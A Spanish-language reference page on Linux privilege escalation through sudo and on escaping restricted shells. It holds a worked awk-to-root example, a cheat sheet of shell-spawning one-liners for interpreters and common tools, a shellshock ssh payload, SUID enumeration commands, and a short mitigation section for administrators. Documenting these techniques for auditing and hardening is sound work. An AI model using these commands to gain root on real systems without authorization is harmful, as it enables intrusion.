===== Escalado con sudo / Ejecutar una shell en entornos restringidos / enjaulados (Shell spawning) =====
Dependiendo de como se haya configurado sudo, es posible ejecutar comandos que nos pueden permitir obtener una shell de root. El mismo mecanismo se puede utilizar para intentar obtener una terminal con privilegios en terminales restringidas o entornos enjaulados. Estos son algunos programas que facilitan poder arrancar una shell. En el proyecto https://gtfobins.github.io/ se podrá encontrar un gran recopilatorio de binarios que pueden ser aprovechados para sortear restricciones, ya sea a nivel de shell restringidas o bien sudo/suid.
Ejemplo de escalda de privilegios usando awk.
user1@vagrant:~$ sudo -l # Configuración sudo del usuario user1.
Matching Defaults entries for user1 on vagrant.vm:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on vagrant.vm:
(ALL : ALL) /usr/bin/awk
user1@vagrant:~$ id # UIDs del usuario user1.
uid=1001(user1) gid=1002(user1) groups=1002(user1)
user1@vagrant:~$ sudo awk 'BEGIN {system("/bin/sh")}' # Escalada de privilegios.
user1@vagrant:~# id
uid=0(root) gid=0(root) groups=0(root) # Usuario root.
==== Aplicaciones que pueden facilitar escalada de privilegios ====
**Python**.
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import os; os.system("/bin/bash")'
python
>>> import os
>>> os.system("/bin/bash")'
**Awk**.
awk 'BEGIN {system("/bin/sh")}'
**Find**.
find /home/user/.cmake/ -name packages -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find /home/user/.cmake/ -name packages -exec /bin/sh \;
**Perl** (linea de comandos).
perl -e 'exec "/bin/bash";'
**Perl** (dentro de un script / modo interactivo).
exec "/bin/sh";
**Ruby** (linea de comandos).
ruby -e "system '/bin/sh'"
ruby -e "exec '/bin/sh'"
**Ruby** (dentro de un script / modo interactivo).
exec "/bin/sh"
system "/bin/sh"
**Lua** (linea de comandos).
lua -e "os.execute('/bin/sh')"
**Lua** (dentro de un script / modo interactivo).
os.execute('/bin/sh')
**except**
except spawn
**gdb**
gdb
(gdb)!/bin/bash
**MySQL**
mysql> \! /bin/bash
**Vi** / **VIM**
:!bash
:set shell=/bin/bash
:shell
**Pico**
pico -s "/bin/bash"
Escribir /bin/bash y pulsar Ctrl+t.
**Git**
git help status > !/bin/bash
**more / less / man / nmap (versiones antiguas con opción %%--&&interactive)**
!sh
**ssh**
ssh user@XX -t "/bin/sh"
ssh user@XX -t "bash --noprofile"
ssh user@XX -t "() { :; }; /bin/bash" (shellshock)
**zip**
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
**tar**
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
===== Explorar el entorno en shells muy restrictivas =====
**Buscar procesos enjaulados**: [[buscar_procesos_corriendo_en_jaulas_chroot]]
Conocer el entorno donde se está enjaulado.
echo $SHELL
sudo -s
printenv
env
find / -perm -4000 -exec ls -ldb {} \; # Buscar comandos con SUID.
Listar ficheros. (Alternativa a dir, ls,...)
echo *
Ver contenido de un fichero (Alternativa a cat, less, more,...)
while read line; do echo "$line"; done < file.txt
Contar las lineas de un determinado fichero. (Alternativa a wc)
grep -c -i ".*" /etc/passwd
i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i
Conocer la identidad del usuario en uso.
i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i
echo $UID
NOTA: echo y los nombres de variables pueden dar información de interés. El comando "env" muestra un buen listado de variables disponibles.
Buscar ficheros ejecutables, con permisos de lectura, escritura, etc.
# Ficheros con permisos de lectura.
for x in `echo /sbin/*`; do if [ -r $x ]; then echo $x; fi; done
# Ficheros con permisos de escritura "-w", de ejecución: "-x",...
# Leer: http://tldp.org/LDP/abs/html/fto.html
===== Mitigación de escalado con sudo / SUID =====
La correcta mitigación del abuso de sudo requiere una gestión cuidadosa de los usuarios de sudo y sus permisos. Los administradores deben asegurarse de que sus usuarios sudo utilicen contraseñas robustas.
Los administradores deben seleccionar programas que no alberguen la posibilidad de usar parámetros que permitan la ejecución de código arbitrario. Por ejemplo el uso de nano en lugar de Vi.
Si un usuario necesita acceso de lectura a archivos confidenciales, lo mejor sería agregarlo a grupos específicos que tengan permisos para leer el archivo y no otorgarle derechos de sudo.
Identificar con find los binarios con SUID activo y estudiar si algunos de ellos es explotable.
Considerar el uso de particiones con la opción nosuid.
**Enlaces de interés**: https://gtfobins.github.io/